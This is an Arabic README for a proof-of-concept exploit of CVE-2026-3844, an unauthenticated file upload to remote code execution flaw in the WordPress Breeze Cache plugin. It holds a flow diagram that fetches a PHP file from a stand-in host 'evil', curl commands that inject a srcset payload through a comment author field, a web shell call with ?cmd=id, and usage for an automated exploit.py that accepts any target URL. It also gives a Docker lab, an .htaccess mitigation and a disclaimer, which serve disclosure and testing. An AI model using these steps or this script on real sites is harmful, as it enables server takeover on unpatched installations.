
إثبات مفهوم لاستغلال CVE-2026-3844، وهو رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في Breeze Cache <= 2.4.4. يتضمن مختبر Docker وسكربت استغلال آلي.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 حرج (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — رفع ملف غير مقيد بنوع خطير |
| الإضافة | Breeze Cache من Cloudways |
| المتأثر | جميع الإصدارات حتى 2.4.4 وما دون |
| المُصلَح | 2.4.5 (التغيير 3511463) |
| عمليات التثبيت | أكثر من 400,000 تثبيت ووردبريس نشط |
| اكتشفه | Hung Nguyen (bashu) |
| تم الكشف عنه | 2026-04-23 |
تقوم الدالة fetch_gravatar_from_remote() في ملف inc/class-breeze-cache-cronjobs.php بتنزيل
عناوين URL البعيدة وحفظها في دليل يمكن الوصول إليه عبر الويب باستخدام اسم الملف الأصلي
والامتداد من عنوان URL. لا يوجد تحقق من نوع MIME، ولا قائمة بيضاء للامتدادات، ولا
فحص للمحتوى.
عند تفعيل إعداد "استضافة الملفات محليًا - Gravatars"، تقوم الإضافة بالربط مع فلتر
get_avatar في ووردبريس عبر الدالة breeze_replace_gravatar_image(). تستخدم هذه الدالة تعبيرًا
نمطيًا لاستخراج عناوين URL من خصائص srcset و src في كود HTML للصورة الرمزية. يمكن للمهاجم
حقن خاصية srcset خبيثة عن طريق نشر تعليق باسم مؤلف مصمم بعناية، مما يدفع الإضافة إلى
تنزيل وتخزين ملف PHP تعسفي.
ما هو مفقود:
.php، .phtml، .phar جميعها مقبولة)المهاجم ووردبريس + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | تم حفظ التعليق
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | يتم تفعيل فلتر get_avatar
| | breeze_replace_gravatar_image()
| | يستخرج عنوان srcset عبر التعبير النمطي
| | يستدعي fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| محتوى ملف PHP |
| -----------------------------> |
| | يتم الحفظ في:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | يتم تنفيذ PHP كمستخدم www-data
| uid=33(www-data) |
| <------------------------------------ |
تتضمن هذه الأداة بيئة Docker متكاملة تحتوي على:
requests (pip install requests)cd docker/
docker compose up -d --build
انتظر حوالي 30 ثانية حتى يتم تهيئة ووردبريس. تحقق من ذلك:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# المتوقع: Stable tag: 2.4.4
يقوم إعداد Docker تلقائيًا بـ:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
استبدل PAYLOAD_IP بعنوان IP الخاص بحاوية الحمولة:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
الاستجابة المتوقعة: إعادة توجيه HTTP 302 إلى صفحة المنشور.
قم بزيارة صفحة المنشور لجعل ووردبريس يعرض الصورة الرمزية للتعليق، مما يؤدي إلى تفعيل
فلتر get_avatar الخاص بـ Breeze وتنزيل الحمولة:
curl -s "http://localhost:8088/?p=1" > /dev/null
يُظهر كود HTML المعروض أن Breeze استخرج خاصية srcset المحقونة وقام بتخزين الحمولة:
يتم كتابة حمولة PHP حرفيًا، ويمتلكها المستخدم www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target عنوان URL المستهدف لووردبريس (مطلوب)
-p, --payload عنوان URL لحمولة PHP المراد رفعها
--post-id معرف المنشور المحدد للتعليق عليه
--timeout مهلة HTTP بالثواني (الافتراضي: 15)
--wait ثواني الانتظار للمهام المجدولة (الافتراضي: 12)
--check-only التحقق من إصدار الإضافة فقط دون استغلال
cd docker/
docker compose down -v --remove-orphans
.htaccess في wp-content/cache/breeze-extra/gravatars/:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # هذا الملف
docker/
Dockerfile # صورة ووردبريس + Breeze 2.4.4
docker-compose.yml # بيئة كاملة (WP + MariaDB + خادم الحمولة)
entrypoint-custom.sh # تهيئة تلقائية لووردبريس بالإعدادات المعرضة للثغرة
poc/
exploit.py # سكربت استغلال آلي
validate.sh # أداة تحقق شاملة عبر Docker
payloads/
shell.php # حمولة PoC غير ضارة (echo + id)
screenshots/ # لقطات شاشة SVG الطرفية (Charm freeze)
validation/ # مخرجات التحقق من قابلية الاستغلال RAPTOR
تم توفير هذه الأداة الإثباتية لأغراض اختبار الأمان المصرح به والتعليم والبحث الدفاعي فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.